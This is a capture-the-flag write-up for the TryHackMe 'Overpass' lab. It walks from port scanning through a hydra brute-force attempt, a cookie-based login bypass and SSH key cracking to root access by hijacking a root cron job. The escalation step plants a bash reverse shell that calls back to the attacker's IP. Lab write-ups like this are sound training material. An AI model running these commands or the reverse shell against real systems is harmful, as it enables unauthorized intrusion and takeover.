Information
Room#
- Name: Overpass
- Profile: tryhackme.com
- Difficulty: Easy
- Description: What happens when some broke CompSci students make a password manager?

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S nmap wget ffuf curl htmlq hydra john ruby opensshNetwork discovery#
As usual, let's start by adding a local domain name to the machine.
$ grep overpass /etc/hosts
10.129.136.98 overpass.thmFull network scan on the machine:
sudo nmap -sSVC overpass.thm -T4 -p- -v --open --reason -oA nmap$ grep -E 'open|PORT' nmap.nmap
# Nmap 7.99 scan initiated Mon Apr 6 01:16:04 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap overpass.thm
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 62 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)Website discovery#
Statistically, we have more chances starting with HTTP than with SSH.
http://overpass.thm/ is the website for the password manager that the task description was talking about.
On the /downloads/ we can download pre-built binaries but also the source code and build script.
Source code analysis#
wget http://overpass.thm/downloads/src/overpass.go
wget http://overpass.thm/downloads/src/buildscript.shIt's pretty obvious by reading overpass.go, that the encryption is extremely weak and reversible. It's a Caesar variant.
//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
var result []string
for i := range input[:len(input)] {
j := int(input[i])
if (j >= 33) && (j <= 126) {
result = append(result, string(rune(33+((j+14)%94))))
} else {
result = append(result, string(input[i]))
}
}
return strings.Join(result, "")
}My guess is that in the following steps of the room, we should find encrypted passwords and will be able to decrypt them with this software.
Web enumeration & analysis#
With a very quick fuzzing pass using ffuf, we are able to identify a route that is not linked on the homepage: /admin/
ffuf -u http://overpass.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txtWe have nothing else to try but brute-forcing credentials on the admin page. For that, we have admin names on the /aboutus/ page.
curl -s http://overpass.thm/aboutus/ | htmlq '.aboutText' | pcre2grep -o1 '>([[:alpha:]]+) -'Ninja
Pars
Szymex
Bee
MuirlandOracleLet's try some brute-force with hydra, with a dictionary of common password and also user = pass.
hydra -L users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -u -e sr -s 80 -m '/api/login:username=^USER^&password=^PASS^:Incorrect credentials' overpass.thm http-post-formBut we are not lucky that way. Actually, the admin page is also loading login.js script.
// […]
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}We can see in case of successful lo gin, the cookie SessionToken is set. Let's try to set one. Any value does nothing, but an empty value makes us connected. Once connected, we can read the following message:
Since you keep forgetting your password, James, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you. Also, we really need to talk about this "Military Grade" encryption. - Paradox
Let's save the key.
curl -s http://overpass.thm/admin/ --cookie 'SessionToken=' | htmlq --text 'pre' > james.private_key.pem
chmod 600 james.private_key.pemSSH key cracking#
Referring to an article I wrote, we can try to crack the password protecting the key.
ssh2john james.private_key.pem > james.private_key.jtr_hash
john james.private_key.jtr_hash -w=/usr/share/wordlists/passwords/rockyou.txt --format=sshThe password is found after 8 seconds.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
edited (james.private_key.pem)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2026-04-06 02:37) 0.1129g/s 1620Kp/s 1620Kc/s 1620KC/s *7¡Vamos!
Session completedUser flag#
Let's connect with the key and the freshly cracked password.
ssh -i james.private_key.pem james@overpass.thmjames@ip-10-129-136-98:~$ ls -lhA
total 40K
lrwxrwxrwx 1 james james 9 Jun 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 james james 3.7K Jun 27 2020 .bashrc
drwx------ 2 james james 4.0K Jun 27 2020 .cache
drwx------ 3 james james 4.0K Jun 27 2020 .gnupg
drwxrwxr-x 3 james james 4.0K Jun 27 2020 .local
-rw-r--r-- 1 james james 49 Jun 27 2020 .overpass
-rw-r--r-- 1 james james 807 Jun 27 2020 .profile
drwx------ 2 james james 4.0K Jun 27 2020 .ssh
-rw-rw-r-- 1 james james 438 Jun 27 2020 todo.txt
-rw-rw-r-- 1 james james 38 Jun 27 2020 user.txt
james@ip-10-129-136-98:~$ cat user.txt
thm{edited}Elevation of privileges (EoP)#
As I guess earlier, the goal is now to reverse the crappy encryption.
james@ip-10-129-136-98:~$ cat todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
james@ip-10-129-136-98:~$ cat .overpass && echo
,L<edited>N.Let's save ~/.overpass and decrypt it on CyberChef.
It contains the james password, but that's useless to EoP.
[{"name":"System","pass":"s<edited>e"}]The note also mentioned an automated build script. Let's check cron.
james@ip-10-129-136-98:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bashcurl is run as root to retrieve a script and then run in a piped bash. Basically if we control that script, we can elevate to root.
Strangely, the hosts file is writable by anybody, so we can edit overpass.thm entry and set our IP address.
james@ip-10-129-136-98:~$ ls -lh /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hostsmkdir -p http/downloads/src/
nvim http/downloads/src/buildscript.shIn buildscript.sh I put my reverse shell:
/bin/bash -i >& /dev/tcp/192.168.150.196/7777 0>&1I launch a listener:
ncat -lvnp 7777To bind low ports without requiring privileged access:
sudo sysctl -w net.ipv4.ip_unprivileged_port_start=0 | sudo tee -a /etc/sysctl.d/99-custom.confI start the HTTP server that will deliver the malicious script:
ruby -run -ehttpd ./http -p80Then we edit /etc/hosts on the machine to set our IP address:
127.0.0.1 localhost
127.0.1.1 overpass-prod
192.168.150.196 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersRoot flag#
Wait a few seconds and them boom! We are root!
root@ip-10-129-136-98:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-129-136-98:~# ls -lhA
total 68K
lrwxrwxrwx 1 root root 9 Jun 27 2020 .bash_history -> /dev/null
-rw------- 1 root root 3.1K Apr 9 2018 .bashrc
drwx------ 3 root root 4.0K Oct 22 20:53 .cache
drwx------ 3 root root 4.0K Oct 22 20:53 .gnupg
drwx------ 3 root root 4.0K Jun 27 2020 .local
-rw------- 1 root root 184 Jun 27 2020 .profile
drwx------ 2 root root 4.0K Oct 22 20:14 .ssh
-rw------- 1 root root 966 Oct 22 21:29 .viminfo
-rw-r--r-- 1 root root 20K Apr 6 02:35 buildStatus
drwx------ 2 root root 4.0K Jun 27 2020 builds
drwxr-xr-x 4 root root 4.0K Jun 27 2020 go
-rw------- 1 root root 38 Jun 27 2020 root.txt
drwx------ 2 root root 4.0K Jun 27 2020 src
root@ip-10-129-136-98:~# cat root.txt
thm{edited}Bonus#
There is another .overpass file.
root@ip-10-129-136-98:~# find / -type f -name .overpass
/home/tryhackme/.overpass
/home/james/.overpassAgain, decrypt it on CyberChef.
[{"name":"TryHackMe Subscription Code","pass":"edited"}]It was where was the subscription code.